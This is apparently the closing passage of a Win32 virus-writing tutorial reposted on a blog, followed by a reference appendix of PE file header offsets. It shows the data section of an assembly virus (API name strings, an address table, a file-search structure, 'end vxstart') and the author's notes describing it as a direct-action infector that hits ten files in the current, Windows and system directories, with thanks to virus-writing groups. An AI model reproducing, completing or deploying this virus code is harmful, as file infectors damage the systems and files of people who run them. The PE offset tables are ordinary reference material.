@CloseHandle                   db   "CloseHandle", 0

@MapViewOfFile         db   "MapViewOfFile", 0

@SetFilePointer                 db   "SetFilePointer", 0

@GetWindowsDirectoryA   db   "GetWindowsDirectoryA", 0

@GetSystemDirectoryA             db   "GetSystemDirectoryA", 0

@GetCurrentDirectoryA             db   "GetCurrentDirectoryA", 0

@SetCurrentDirectoryA             db   "SetCurrentDirectoryA", 0

@UnMapViewOfFile            db   "UnMapViewOfFile", 0

@SetEndOfFile                   db   "SetEndOfFile", 0

@GetModuleHandleA         db   "GetModuleHandleA", 0

@LoadLibraryA                   db   "LoadLibraryA", 0

@MessageBoxA                 db   "MessageBoxA", 0

@ExitProcess                     db   "ExitProcess", 0

                            db   0AAh

 

FirstApi                        db   "GetProcAddress", 0

 

OffsetApi                     label       byte

_FindFirstFileA                    dd   00000000h

_FindNextFileA                   dd   00000000h

_FindClose                  dd   00000000h

_GetFileAttributesA            dd   00000000h

_SetFileAttributesA            dd   00000000h

_CreateFileA               dd   00000000h

_CreateFileMappingA         dd   00000000h

_CloseHandle                    dd   00000000h

_MapViewOfFile                 dd   00000000h

_SetFilePointer                  dd   00000000h

_GetWindowsDirectoryA    dd   00000000h

_GetSystemDirectoryA              dd   00000000h

_GetCurrentDirectoryA              dd   00000000h

_SetCurrentDirectoryA              dd   00000000h

_UnMapViewOfFile             dd   00000000h

_SetEndOfFile                    dd   00000000h

_GetModuleHandleA          dd   00000000h

_LoadLibraryA                    dd   00000000h

_MessageBoxA                  dd   00000000h

_ExitProcess               dd   00000000h

aGetProcAddress        dd   00000000h

 

FILETIME STRUC

FT_dwLowDateTime dd ?

FT_dwHighDateTime dd ?

FILETIME ENDS

 

WIN32_FIND_DATA label byte

WFD_dwFileAttributes DD ?

WFD_ftCreationTime FILETIME ?

WFD_ftLastAccessTime FILETIME ?

WFD_ftLastWriteTime FILETIME ?

WFD_nFileSizeHigh DD ?

WFD_nFileSizeLow DD ?

WFD_dwReserved0 DD ?

WFD_dwReserved1 DD ?

WFD_szFileName DB max_path DUP (?)

WFD_szAlternateFileName DB 13 DUP (?)

DB 3 DUP (?) ; dword padding

 

SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA

 

Virus_End     label       byte      

      

end vxstart

 

 

 

 

 

 

 

 

 

 

 

4.1             Notes

 

I think that all about the Win32 virus in ring3. It is just a simple direct action virus without any special features to hide itself like polymorphic, anti debug or junk code. I also cut the part of spreading through the network LAN and email sending. It is able to work in all Win32 platforms and infects 10 files in the current, windows and system directory. As I know that some parts of the virus still not clear but I can’t put everything here.

 

Another thing is I also do not include SEH (Structured Exception Handling) and worried that this virus will cause error when run on Windows platform. Plus, now there was new method Vectored Exception Handling in Windows XP and 2003…Anyhow, the basic concept of Win32 Virus is presented. Figure 4.1.1 is show that the virus detected by Norton Anti-Virus and Virus name is BloodHound.W32.1 (Unknown Virus). Please refer to

 

http://securityresponse.symantec.com/avcenter/venc/data/bloodhound.w32.1.html

 

 


 

Figure 4.1.1 Unknown Virus

 

Lastly, many thanks go to group rrlf, blueowl and group F-13 Labs members. :)!!

 

 

 

 

 

 

 

 

 

 

 

 

 

APPENDIX:

 

PE File Formats Offsets

DOS MZ Header:

+00

WORD

e_magic

Magic Number MZ ($5A4D)

+02

WORD

e_cblp

Bytes on last page of file

+04

WORD

e_cp

Pages in file

+06

WORD

e_crlc

Relocations

+08

WORD

e_cparhdr

Size of header in paragraphs

+0A  (10)

WORD

e_minalloc

Minimum extra paragraphs needed

+0C  (12)

WORD

e_maxalloc

Maximum extra paragraphs needed

+0E  (14)

WORD

e_ss

Initial (relative) SS value

+10  (16)

WORD

e_sp

Initial SP value

+12  (18)

WORD

e_csum

Checksum

+14  (20)

WORD

e_ip

Initial IP value

+16  (22)

WORD

e_cs

Initial (relative) CS value

+18  (24)

WORD

e_lfarlc

File address of relocation table

+1A  (26)

WORD

e_ovno

Overlay number

+1C  (28)

Array[4] of WORD

e_res

Reserved words

+24  (36)

WORD

e_oemid

OEM identifier (for e_oeminfo)

+26  (28)

WORD

e_oeminfo

OEM information; e_oemid specific

+28  (40)

Array[10] of WORD

e_res2

Reserved words

+3C  (60)

DWORD

e_lfanew

File address of new exe header

 

PE Header:

+00

DWORD

Signature ($00004550)

+04

WORD

Machine

+06

WORD

Number of Sections

+08

DWORD

TimeDateStamp

+0C  (12)

DWORD

PointerToSymbolTable

+10  (16)

DWORD

NumberOfSymbols

+14  (20)

WORD

SizeOfOptionalHeader

+16  (22)

WORD

Characteristics

 

 

 

 

 

 

Optional Header:

 

- standard fields-

 

+18  (24)

WORD

Magic

+1A  (26)

BYTE

MajorLinkerVersion

+1B  (27)

BYTE

MinorLinkerVersion

+1C  (28)

DWORD

SizeOfCode

+20  (32)

DWORD

SizeOfInitializedData

+24  (36)

DWORD

SizeOfUnitializedData

+28  (40)

DWORD

AddressOfEntryPoint

+2C  (44)

DWORD

BaseOfCode

+30  (48)

DWORD

BaseOfData

 

-NT additional fields-

 

+34  (52)

DWORD

ImageBase

+38  (56)

DWORD

SectionAlignment

+3C (60)

DWORD

FileAlignment

+40  (64)

WORD

MajorOperatingSystemVersion

+42  (66)

WORD

MinorOperatingSystemVersion

+44  (68)

WORD

MajorImageVersion

+46  (70)

WORD

MinorImageVersion

+48  (72)

WORD

MajorSubsystemVersion

+4A  (74)

WORD

MinorSubsystemVersion

+4C  (76)

DWORD

Reserved1

+50  (80)

DWORD

SizeOfImage

+54  (84)

DWORD

SizeOfHeaders

+58  (88)

DWORD

CheckSum

+5C  (92)

WORD

Subsystem

+5E  (94)

WORD

DllCharacteristics

+60  (96)

DWORD

SizeOfStackReserve

+64  (100)

DWORD

SizeOfStackCommit

+68  (104)

DWORD

SizeOFHeapReserve

+6C  (108)

DWORD

SizeOfHeapCommit

+70  (112)

DWORD

LoaderFlags

+74  (116)

DWORD

NumberOfRvaAndSizes

+78  (120)

DWORD

ExportDirectory VA

+7C  (124)

DWORD

ExportDirectory Size

+80  (128)

DWORD

ImportDirectory VA

+84  (132)

DWORD

ImportDirectory Size

+88  (136)

DWORD

ResourceDirectory VA

+8C  (140)

DWORD

ResourceDirectory Size

+90  (144)

DWORD

ExceptionDirectory VA

+94  (148)

DWORD

ExceptionDirectory Size

+98  (152)

DWORD

SecurityDirectory VA

+9C  (156)

DWORD

SecurityDirectory Size

+A0  (160)

DWORD

BaseRelocationTable VA

+A4  (164)

DWORD

BaseRelocationTable Size

+A8  (168)

DWORD

DebugDirectory VA

+AC  (172)

DWORD

DebugDirectory Size

+B0  (176)

DWORD

ArchitectureSpecificData VA

+B4  (180)

DWORD

ArchitectureSpecificData Size

+B8  (184)

DWORD

RVAofGP VA

+BC  (188)

DWORD

RVAofGP Size

+C0  (192)

DWORD

TLSDirectory VA

+C4  (196)

DWORD

TLSDirectory Size

+C8  (200)

DWORD

LoadConfigurationDirectory VA

+CC  (204)

DWORD

LoadConfigurationDirectory Size

+D0  (208)

DWORD

BoundImportDirectoryinheaders VA

+D4  (212)

DWORD

BoundImportDirectoryinheaders Size

+D8  (216)

DWORD

ImportAddressTable VA

+DC  (220)

DWORD

ImportAddressTable Size

+E0  (224)

DWORD

DelayLoadImportDescriptors VA

+E4  (228)

DWORD

DelayLoadImportDescriptors Size

+E8  (232)

DWORD

COMRuntimedescriptor VA

+EC  (236)

DWORD

COMRuntimedescriptor Size

+F0  (240)

DWORD

0

+F4  (244)

DWORD

0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Section Header:

+0

Array[8] of BYTE

Name

+08

DWORD

PhysicalAddress / Virtual Size

+0C

DWORD

VirtualAddress

+10  (16)

DWORD

SizeOfRawData

+14  (20)

DWORD

PointerToRawData

+18  (24)

DWORD

PointerToRelocations

+1C  (28)

DWORD

PointerToLineNumbers

+20  (32)

WORD

NumberOfRelocations

+22  (34)

WORD

NumberOfLineNumbers

+24  (36)

DWORD

Characteristics

 

 

 

 

 

 

Export Directory:

+0

DWORD

Characteristics

+04

DWORD

TimeDateStamp

+08

WORD

MajorVersion

+0A

WORD

MinorVersion

+0C

DWORD

Name

+10  (16)

DWORD

Base

+14  (20)

DWORD

NumberOfFunctions

+18  (24)

DWORD

NumberOfNumbers

+1C  (28)

DWORD

*AddressOfFunctions

+20  (32)

DWORD

*AddressOfNames

+24  (36)

DWORD

*AddressOfNameOrdinals

 

 

 

 

 

 

 

Import Directory:

+0

DWORD

OriginalFirstThunk

+04

DWORD

TimeDateStamp

+08

DWORD

ForwarderChain

+0C

DWORD

Name

+10

DWORD

FirstThunk

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值